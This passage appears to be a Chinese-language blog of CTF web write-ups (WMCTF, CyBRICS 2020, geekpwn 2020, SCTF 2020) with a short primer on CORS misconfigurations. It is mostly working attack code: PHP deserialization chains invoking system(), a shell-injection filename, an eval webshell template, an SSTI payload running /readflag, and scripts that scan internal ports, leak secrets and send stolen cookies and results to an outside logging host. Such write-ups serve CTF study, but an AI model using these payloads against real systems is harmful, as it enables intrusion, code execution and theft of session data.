o=&Ap=&Aq=&Ar=&As=&At=&Au=&Av=&Aw=&Ax=&Ay=&Az=&AA=&AB=&AC=&AD=&AE=&AF=&AG=&AH=&AI=&AJ=&AK=&AL=&AM=&AN=&AO=&AP=&AQ=&AR=&AS=&AT=&AU=&AV=&AW=&AX=&AY=&AZ=&A0=&A1=&A2=&A3=&A4=&A5=&A6=&A7=&A8=&A9=&Ba=&Bb=&Bc=&Bd=&Be=&Bf=&Bg=&Bh=&Bi=&Bj=&Bk=&Bl=&Bm=&Bn=&Bo=&Bp=&Bq=&Br=&Bs=&Bt=&Bu=&Bv=&Bw=&Bx=&By=&Bz=&BA=&BB=&BC=&BD=&BE=&BF=&BG=&BH=&BI=&BJ=&BK=&BL=&BM=&BN=&BO=&BP=&BQ=&BR=&BS=&BT=&BU=&BV=&BW=&BX=&BY=&BZ=&B0=&B1=&B2=&B3=&B4=&B5=&B6=&B7=&B8=&B9=&Ca=&Cb=&Cc=&Cd=&Ce=&Cf=&Cg=&Ch=&Ci=&Cj=&Ck=&Cl=&Cm=&Cn=&Co=&Cp=&Cq=&Cr=&Cs=&Ct=&Cu=&Cv=&Cw=&Cx=&Cy=&Cz=&CA=&CB=&CC=&CD=&CE=&CF=&CG=&CH=&CI=&CJ=&CK=&CL=&CM=&CN=&CO=&CP=&CQ=&CR=&CS=&CT=&CU=&CV=&CW=&CX=&CY=&CZ=&C0=&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&C9=&Da=&Db=&Dc=&Dd=&De=&Df=&Dg=&Dh=&Di=&Dj=&Dk=&Dl=&Dm=&Dn=&Do=&Dp=&Dq=&Dr=&Ds=&Dt=&Du=&Dv=&Dw=&Dx=&Dy=&Dz=&DA=&DB=&DC=&DD=&DE=&DF=&DG=&DH=&DI=&DJ=&DK=&DL=&DM=&DN=&DO=&DP=&DQ=&DR=&DS=&DT=&DU=&DV=&DW=&DX=&DY=&DZ=&D0=&D1=&D2=&D3=&D4=&D5=&D6=&D7=&D8=&D9=&Ea=&Eb=&Ec=&Ed=&Ee=&Ef=&Eg=&Eh=&Ei=&Ej=&Ek=&El=&Em=&En=&Eo=&Ep=&Eq=&Er=&Es=&Et=&Eu=&Ev=&Ew=&Ex=&Ey=&Ez=&EA=&EB=&EC=&ED=&EE=&EF=&EG=&EH=&EI=&EJ=&EK=&EL=&EM=&EN= HTTP/1.1
Host: web_checkin2.wmctf.wetolink.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close


测试发现,就如我们猜想的一样。

访问http://web_checkin2.wmctf.wetolink.com/?content=1%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%07b8%9C%A0%FB%0An
拿到flag:WMCTF{3C5E9715-5BEE-4D33-8627-DE10E5D92715}

webweb

这题本地测试成功远程不行,不知道为啥,静等其他人的wp

代码很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');

// Load configuration
$f3->config('config.ini');

$f3->route('GET /',
function($f3) {
echo "just get me a,don't do anything else";
}
);
unserialize($_GET['a']);

$f3->run();

任意文件读取

又是一题反序列化

老规矩开局找入口点:

image11496

这里只有这一个入口点,这个入口点还挺不错的。

接下来我们可以考虑调用魔术方法或者是利用$func($this)来构造下一步

这里可以利用的魔术方法有:__get__call,找了一波没啥好用的魔术方法,那么我们就利用$func($this)

接下来我们有两种思路:

  1. 扩宽道路,就是找一个函数,里面调用有意思的方法的
  2. 确定pop链尾

我这里是先扩宽反序列化的道路再去找链尾的,毕竟可以当链尾的太多了

慢慢找过去发现一个有意思的方法

image11818

这里可以调用:$func($url,false,true),如果我们能控制$url那么我们就能舒服多了,那么我们接下来就是要找个可以控制$url的地方

找着找着发现了Base::run这个方法

1
function run();

可以直接利用$func($this);来调用它(对于用户自定义的函数/方法,多一些参数没啥影响,但是对大部分自带的函数就不行了,原因估计是自带的函数都是c编写的固定参数的函数),我们来看下它调用reroute的地方

image12152

我们可以看到确实$url是我们可以控制的,现在就是要让语句执行到这里,这个没啥好说的,有耐心一点慢慢调就ok了,直接换上payload了:

接下来就是需要找到一个合适的函数,本地fuzz自带的函数发现,exec是可以的,虽然它会报错

image12361

amazing,划重点这是要考的,虽然本地可以,但是

image12473

服务器上去测试就segment fault了,黯然离去.jpg

接下来我们只能去找框架的函数了

找着找着我找到了:

image12618

这样一个东西,这个函数就很nice

我们传入WEB->send('/flag',false,true);那么我们就能得到/flag的内容了

最后payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
<?php

namespace CLI{
class Agent {
protected
$server="",
$id="",
$socket="",
$flag="",
$verb="",
$uri="",
$headers="";
public $events;
public function check(){

}
public function __construct(){
$this->events=["disconnect"=>array(new \base(),"run")];
$this->server=&$this;


}
};
class WS
{
protected
$addr="",
$ctx="",
$wait="",
$sockets="",
$protocol="",
$agents = [];
public $events = ["disconnect"=>"bbbbb"];
public function __construct($val)
{
$this->addr = $val;
}
}

}
namespace DB{

abstract class Cursor implements \IteratorAggregate {
protected
//! Flat-file DB wrapper
$db,
//! Data file
$file,
//! Document identifier
$id,
//! Document contents
$document=[],
//! field map-reduce handlers
$_reduce;
}
}
namespace DB\Jig{

use Traversable;

class Mapper extends \DB\Cursor{
protected
//! Flat-file DB wrapper
$db,
//! Data file
$file,
//! Document identifier
$id,
//! Document contents
$document=[],
//! field map-reduce handlers
$_reduce;
public function __construct(){
$this->db = new \base();
$this->file = "index.php";
}

public function getIterator()
{
// TODO: Implement getIterator() method.
}
function exists($key)
{
// TODO: Implement exists() method.
}

function set($key, $val)
{
// TODO: Implement set() method.
}

function get($key)
{
// TODO: Implement get() method.
}

function clear($key)
{
// TODO: Implement clear() method.
}

public function offsetExists($offset)
{
// TODO: Implement offsetExists() method.
}

public function offsetGet($offset)
{
// TODO: Implement offsetGet() method.
}

public function offsetSet($offset, $value)
{
// TODO: Implement offsetSet() method.
}
public function offsetUnset($offset)
{
// TODO: Implement offsetUnset() method.
}
}
}

namespace {
abstract class Prefab {
static function instance() {
if (!Registry::exists($class=get_called_class())) {
$ref=new ReflectionClass($class);
$args=func_get_args();
Registry::set($class,
$args?$ref->newinstanceargs($args):new $class);
}
return Registry::get($class);
}

}
final class Base extends Prefab implements ArrayAccess{
private
$hive,
$init,
$languages,
$locks=[],
$fallback='en';
public function __construct(){
$this->hive=[
"ROUTES"=>['/flag/'=>[['GET'=>1]],"2"=>1],
"PATH"=>'/flag/',#$url
"QUERY"=>"",
"VERB"=>"GET",
"PARAMS"=>[],
"ONREROUTE"=>"WEB->send",#$func
"CLI"=>'123'
];
}

public function offsetExists($offset)
{
}
public function offsetGet($offset)
{
}

public function offsetSet($offset, $value)
{
// TODO: Implement offsetSet() method.
}

public function offsetUnset($offset)
{
// TODO: Implement offsetUnset() method.
}
}
abstract class Magic implements \ArrayAccess{

}

echo urlencode(serialize(new \CLI\WS(new \CLI\Agent())));
}

image16897

然而在题目中它虽然执行了WEB->send方法(根据错误信息得知),但是并不会返回/flag(所有文件都读不了),希望有看到的师傅给个解答

正解

果然是我一句魔术方法里面没啥好用的这一句话断送了我的flag,有这样一个魔术方法

image17108

它通过控制$this->props我们可以调用任意函数,那么我们只需要找到一个可控参数的位置就可以了

找到

image17250

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}


namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"system"],
$adhoc=["ls -al"=>["expr"=>""]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}
namespace CLI{
class Agent {
protected
$server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=&$this;


}
};
class WS{}
}
namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}

Make PHP Great Again && Make PHP Great Again 2.0

这题是学长闲的无聊解出来的,说10分钟就ok的题目。。。膜拜

image18383

实际调试的时候是这样的:

image18481

上面还有一堆tsrm_realpath_r。

还有啥好说的?看代码。。。。

CyBRICS2020

CyBRICS 2020

Hunt

用burp修改返回包

flag:cybrics{Th0se_c4p7ch4s_c4n_hunter2_my_hunter2ing_hunter2}

Gif2png

源代码已上传

1
2
3
4
5
6
7
8
if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)):
exit()
...
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
allowed_file(file.filename)
...
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)

filename="'$(sleep 5)'a.gif"来执行命令

cybrics{imagesaresocoolicandrawonthem}

woc

image631

calc.php

1
2
3
4
5
if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
}else{
$value = eval("return $field;");
}
1
2
3
4
9999999999999999999:1.0E+25
1/0:INF
0/0:NAN
log(0):-INF

newtemplate.php

1
2
3
4
5
6
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}
...
file_put_contents("calcs/$userid/templates/$uuid.html", $html);

calc.php

1
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));

html转php处,利用/*破坏结构,file_get_contents("calcs/$userid/templates/$template.html"))*/收尾,于是绕过成功

新建template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*/)).eval($_POST[1])?>
$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];

向calc post:
field=1/*&share=1

flag:cybrics{5aMe_7h1ng_W3_d0_3Ve5y_n16ht_P1nKY.Try_2_t4k3_0vEr_t3h_w0RLd}

Developer’s Laptop

看题目样子是xss题?SSRF?

浏览器信息:HeadlessChrome/79.0.3945.79

填写脚本:

1
a=document.getElementsByClassName("form-control");a[1].value="WQLSaidXUtQAfD6ptJc7Yg";a[0].value="http://ccreater.top:60000";

返回包

1
2
3
4
5
6
7
8
9
10
HEAD / HTTP/1.1
Host: ccreater.top:60000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.79 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Access-Control-Request-Method: POST
Origin: prod.free-design-feedback-cybrics2020.ctf.su
Referer: http://prod.free-design-feedback-cybrics2020.ctf.su

等等开发人员的电脑?肯定一堆服务,内网扫描!

http服务扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>

<script>
var from = 1;
var complete = true;
var clear = false;
function check(text){
var linkEl = document.head.querySelector('link[href*="'+text+'"');
var cssLoaded = Boolean(linkEl.sheet);
linkEl.addEventListener('load', function () {
console.log(text)
// log
fetch("http://ccreater.top:60010/log.php?log="+text)
.then(r=>r.text())
.then(d=>{console.log("log success")})
// log end
});
}
function clearstyle(clear_from ,clear_to){
clear = true;
console.log("clear task start");
while(clear_to<=clear_from){
document.head.querySelector('link[href$=":'+clear_to+'"').remove();
clear_to++;
}
clear = false;
console.log("clear task end");
}
function make(text){
head = document.getElementsByTagName('head')[0];
var port = text;
var url = "http://127.0.0.1:"+port,
link = document.createElement('link');
link.rel = "stylesheet";
link.href = url;
head.appendChild(link);
check(text);
}
async function scan(){
var to = from + 80 > 65535 ? 65535 : from + 80;
for(var i=from;i<to;i++){
make(String(i));
}
from +=80;
setTimeout(()=>{clearstyle(from,to);},5000);
};

async function listener (){
console.log("listener works,from:"+from+",complete:"+complete);
if(from < 65535){
setTimeout(listener,5000);
if(complete && !clear){
console.log("new task!");
scan()
.then(()=>{complete = true;})
complete = false;
}
}

}
listener()
</script>
</body>
</html>

虽然我猜到了有内网服务但是到最后我还是没有扫到。。

脚本在本地是可以跑的,但是服务器上就不行,可能是因为有时间限制吧,遗憾。

geekpwn2020

geekpwn 2020热身赛

cosplay

直接用cos的api读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cos.getBucket({
Bucket: Bucket,
Region: Region,
}, function(err, data) {
console.log(err || data.Contents);
});


cos.getObject({
Bucket: Bucket,
Region: Region,
Key: 'f1L9@/flag.txt',
}, function(err, data) {
console.log(err || data.Body);
});

noXss2020

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, jsonify, Response
from os import getenv

app = Flask(__name__)

DATASET = {
114: '514',
810: '8931919',
2017: 'https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup',
2019: 'https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view',
2020: 'flag{2333333333}'
}


@app.before_request
def check_host():
pass


@app.route("/")
def index():
return app.send_static_file('index.html')


@app.route("/search")
def search_handler():
keyword = request.args.get('keyword')
if keyword is None:
return jsonify(DATASET)
else:
ret = {}
for i in DATASET:
if keyword in DATASET[i]:
ret[i] = DATASET[i]
return jsonify(ret), 200 if len(ret) else 404


@app.after_request
def add_security_headers(resp):
resp.headers['X-Frame-Options'] = 'sameorigin'
resp.headers['Content-Security-Policy'] = 'default-src \'self\'; frame-src https://www.youtube.com'
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['Referrer-Policy'] = 'same-origin'
return resp


if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, )

我们注意到search是通过in来判断是否存在,并返回404或200

虽然http://noxss2020.cal1.cn:3000/有cors,但是我们并不需要他返回的内容,我们只需要状态码,这样就简单多了。我们将页面当成css来加载,通过是否加载成功来判断状态码

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<html>
<body>

<script>
var guess="flag";
var ok=true;
function check(text){
var linkEl = document.head.querySelector('link[href*="'+text+'"');
var cssLoaded = Boolean(linkEl.sheet);
linkEl.addEventListener('load', function () {

guess=unescape(text);
console.log(guess)
ok=true;
if(guess.endsWith("}")){
location="http://ccreater.top:60010/log.php?log="+guess;
};
var s = guess.substr(0,guess.length-1);
while(tmp=document.head.querySelector('link[href*="'+s+'"')){
tmp.remove();
}
fuzz()
});
}
function make(text){
head = document.getElementsByTagName('head')[0];

var url = "http://127.0.0.1:3000/search?keyword="+escape(text),
link = document.createElement('link');
link.rel = "stylesheet";
link.href = url;
head.appendChild(link);
check(escape(text));
}

async function fuzz(){
for(i of "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"){
if(make(guess+i)){
break;
}
}
return true
}
function exploit(){
fuzz()
}

fuzz()
</script>

</body>
</html>

umsg

阅读代码发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function(e, t, r) {
"use strict";
r.r(t);
r(91);
var n = {
mounted: function() {
window.addEventListener("message", (function(e) {
if (e.origin.match("http://umsg.iffi.top"))
switch (e.data.action) {
case "append":
return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
case "debug":
return void console.log(e.data.payload);
case "ping":
return void e.source.postMessage("pong", "*")
}
}
), !1),
postMessage({
action: "ping"
})
}
}

那么我们可以在页面中嵌入iframe来postMessage,从而插入恶意内容,唯一的障碍是:e.origin.match("http://umsg.iffi.top")

因为match是一个正则匹配函数,所以构造http://umsg_iffi_top.evildomain来绕过

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<body>

<iframe src="http://umsg.iffi.top:3000/" height="100%" width="100%" frameborder="0" scrolling="auto">
</iframe>
<script>
setTimeout(()=>{
document.body.children[0].contentWindow.postMessage({action:"append",payload:"<img src=1 onerror='location=(`http://ccreater.top:60010/log.php?log=`+document.cookie)'>"},"http://umsg.iffi.top:3000/")
},5000);
</script>

</body>
</html>

bypass CORS

bypass CORS

什么是CORS

CORS: Cross Origin Resource Share,设置在服务端,客户端执行的一种策略。

出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求或者 跨站请求可以正常发起,但是返回结果被浏览器拦截了 。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

相关的字段

响应:

1
2
3
4
5
6
7
Access-Control-Allow-Origin
Access-Control-Expose-Headers
Access-Control-Max-Age
Access-Control-Allow-Credentials
Access-Control-Allow-Methods
Access-Control-Allow-Headers

请求:

1
2
3
4
Origin
Access-Control-Request-Method
Access-Control-Request-Headers

CORS配置错误

根据某些字段来设置ACAO头

1
2
3
4
5
6
7
8
9
10
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

根据Origin头来设置Access-Control-Allow-Origin

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

对Origin头的错误解析

因为要对子域名的支持,所以有些网站会这样写:

1
2
3
if Origin.domain startwith "domain.com":
return "Access-Control-Allow-Origin: "+Origin

或者

1
2
3
if Origin.domain endwith "domain.com":
return "Access-Control-Allow-Origin: "+Origin

像这种都很好绕过:

domain.com.evildomain.com 或者 evildomain-domain.com

白名单中存在:null

Origin支持值null,在某些情况下,浏览器可能会在Origin标头中发送值null:

  • 跨站点重定向

  • 来自序列化数据的请求

  • 使用file协议的请求

  • 沙盒中的跨域请求

利用受信任的域

在受信任的域上找到xss,就可以绕过CORS

中间人攻击

23333

参考

https://portswigger.net/web-security/cors

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

sctf2020

SCTF 2020

Jsonhub

阅读代码发现,这一题存在着两个环境,其中,内网服务可以ssti,所以我们需要想办法访问内网:

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/caculator', methods=["POST"])
def caculator():
try:
data = request.get_json()
except ValueError:
return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
num1 = str(data["num1"])
num2 = str(data["num2"])
symbols = data["symbols"]
if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
return json.dumps({"code": -1, "message": "?"})

return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

可以进行符合条件的ssrf的只有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

def flask_rpc(request):
if request.META['REMOTE_ADDR'] != "127.0.0.1":
return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

methods = request.GET.get("methods")
url = request.GET.get("url")

if methods == "GET":
return JsonResponse(
{"code": 0, "message": requests.get(url, headers={"User-Agent": "Django proxy =v="}, timeout=1).text})
elif methods == "POST":
data = base64.b64decode(request.GET.get("data"))
return JsonResponse({"code": 0, "message": requests.post(url, data=data,
headers={"User-Agent": "Django proxy =v=",
"Content-Type": "application/json"}, timeout=1).text})
else:
return JsonResponse({"code": -1, "message": "=3="})

但是需要request.META['REMOTE_ADDR']==127.0.0.1,利用 CVE-2018-14574跳转到127.0.0.1:8000访问/rpc ,这样我们就能ssti,在这之前我们需要搞到Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@login_required
def home(request):
if request.method == "GET":
return render(request, "templates/home.html")
elif request.method == "POST":
white_list = ["39.104.19.182"]
try:
data = json.loads(request.body)
except ValueError:
return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

if Token.objects.all().first().Token == data["token"]:
try:
if ssrf_check(data["url"], white_list):
return JsonResponse({"code": -1, "message": "Hacker!"})
else:
res = requests.get(data["url"], timeout=1)
except Exception:
return JsonResponse({"code": -1, "message": "Request Error"})
if res.status_code == 200:
return JsonResponse({"code": 0, "message": res.text})
else:
return JsonResponse({"code": -1, "message": "Something Wrong"})
else:
return JsonResponse({"code": -1, "message": "Token Error"})
1
2
3
4
5
6
7
8
9
10
11
12
13
def reg(request):
if request.method == "GET":
return render(request, "templates/reg.html")
elif request.method == "POST":
try:
data = json.loads(request.body)
except ValueError:
return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

if len(User.objects.filter(username=data["username"])) != 0:
return JsonResponse({"code": 1})
User.objects.create_user(**data)
return JsonResponse({"code": 0})

构造:{"username":"test66666","password":"test66666","is_staff":true,"is_superuser":true}

得到token:3ad9af405504233188f694a11ff22115

接下来就是ssti了

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/caculator', methods=["POST"])
def caculator():
try:
data = request.get_json()
except ValueError:
return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
num1 = str(data["num1"])
num2 = str(data["num2"])
symbols = data["symbols"]
if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
return json.dumps({"code": -1, "message": "?"})

return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

最后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import base64
import json
num1=1
num2=2
symbols="-{{''.__class__.__mro__[1].__subclasses__()[409]('/readflag',shell=True,stdout=-1).communicate()}}-"
data={
"num1":num1,
"num2":num2,
"symbols":symbols
}
payload=json.dumps(data).replace("{{","\\u007b\\u007b").replace("}}","\\u007d\\u007d")
payload=base64.b64encode(payload)
print(payload)
burp0_url = "http://39.104.19.182:80/home/"
burp0_cookies = {"sessionid": "bd63u3ewjx05tc7ajvlkve7b9cu8h4kx", "csrftoken": "GBW7niMYrwP9fMP6jpgHN1ujcxEwuRQ4tMKdBDdnZvSlDny51S1K1cMmWtOsR0gO"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Accept": "application/json, text/plain, */*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", "Content-Type": "application/json;charset=UTF-8", "Origin": "http://39.104.19.182", "Referer": "http://39.104.19.182/home/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_json={"token": "3ad9af405504233188f694a11ff22115", "url": "http://39.104.19.182//127.0.0.1:8000/rpc?url=http://127.0.0.1:5000/caculator&methods=POST&data={payload}".format(payload=payload)}
print(requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json).text)

SCTF{2b19246757c63738e7c40bbdf87c3be1}

Can you hear

We used the receiver to receive the information from the space station and tried to unlock the answer😀.

搜索 “空间站” “接收机” 信息 音频 等关键字找到
https://zhuanlan.zhihu.com/p/98103018
https://www.sohu.com/a/159552694_610733
SSTV关键字

https://zhuanlan.zhihu.com/p/105460358
https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04

下载 mmsstv
修改录音设备为立体声混音
具体操作为:Option->Soundcard input level
播放音频得到flag:

image5949
SCTF{f78fsd1423fvsa}

CloudDisk

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="dc62d163f53ce13369ab97041706060c"
Content-Length: 1547
Last-Modified: Sat, 04 Jul 2020 05:14:45 GMT
Cache-Control: max-age=0
Content-Type: application/octet-stream
Date: Sat, 04 Jul 2020 05:14:50 GMT
Connection: close

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "03229a6694e657077f218c322f3e0bea"


app.use(koaBody({
multipart: true,
formidable: {
maxFileSize: 2000 * 1024 * 1024
}
}));


router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
if (!fs.existsSync(file.path)) {
return ctx.body = "Error";
}
if(file.path.toString().search("/fd/") != -1){
file.path="/dev/null"
}
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});


router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "SCTF{no_such_file_~}"
}
});


router.get('/', async (ctx, next) => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('index.html');

});

app.use(router.routes());
app.listen(3333, () => {
console.log('This server is running at http://localhost:' + 3333)
})

因为koa中访问参数也是ctx.request.body.xxxx 所以我们可以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /uploadfile HTTP/1.1
Host: 127.0.0.1:3333
Content-Length: 77
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:3333
Referer: http://127.0.0.1:3333/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"files":{"file":{"path":"flag"}}}

来进行任意文件读取

SCTF{47cf9489d8832e44312dssxag6f88f45736e0e9c8}

bestlanguage

1
2
3
4
5
6
7
8
9

Route::get('/',"IndexController@init");
Route::post('/rm',"IndexController@rm");
Route::get('/tmp/{filename}', function ($filename) {
readfile("./var/tmp/".$filename);
})->where('filename', '(.*)');
Route::post('/upload',"IndexController@upload");
Route::get('/move/log/{filename}', 'IndexController@moveLog')->where('filename', '(.*)');

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php


namespace App\Http\Controllers;


class IndexController extends Controller
{
public function init(){
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1" && strpos($_SERVER["REMOTE_ADDR"],"192.168.") !== 0 && strpos($_SERVER["REMOTE_ADDR"],"10.") !== 0 ) {
die("admin only");
}
if(!file_exists("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]))){
mkdir("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]));
}
}
public function rm(){
if(strpos($_POST["filename"], '../') !== false) die("???");
if(file_exists("/var/".$_POST["filename"])){
if(is_dir("/var/".$_POST["filename"])){
rmdir("/var/".$_POST["filename"]);
echo "rmdir";
}
else{
unlink("/var/".$_POST["filename"]);
echo "unlink";
}
}
}
public function upload()
{

if(strpos($_POST["filename"], '../') !== false) die("???");
file_put_contents("/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"],base64_decode($_POST["content"]));
echo "/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"];
}

public function moveLog($filename)
{

$data =date("Y-m-d");
if(!file_exists(storage_path("logs")."/".$data)){
mkdir(storage_path("logs")."/".$data);
}
$opts = array(
'http'=>array(
'method'=>"GET",
'timeout'=>1,//单位秒
)
);

$content = file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));
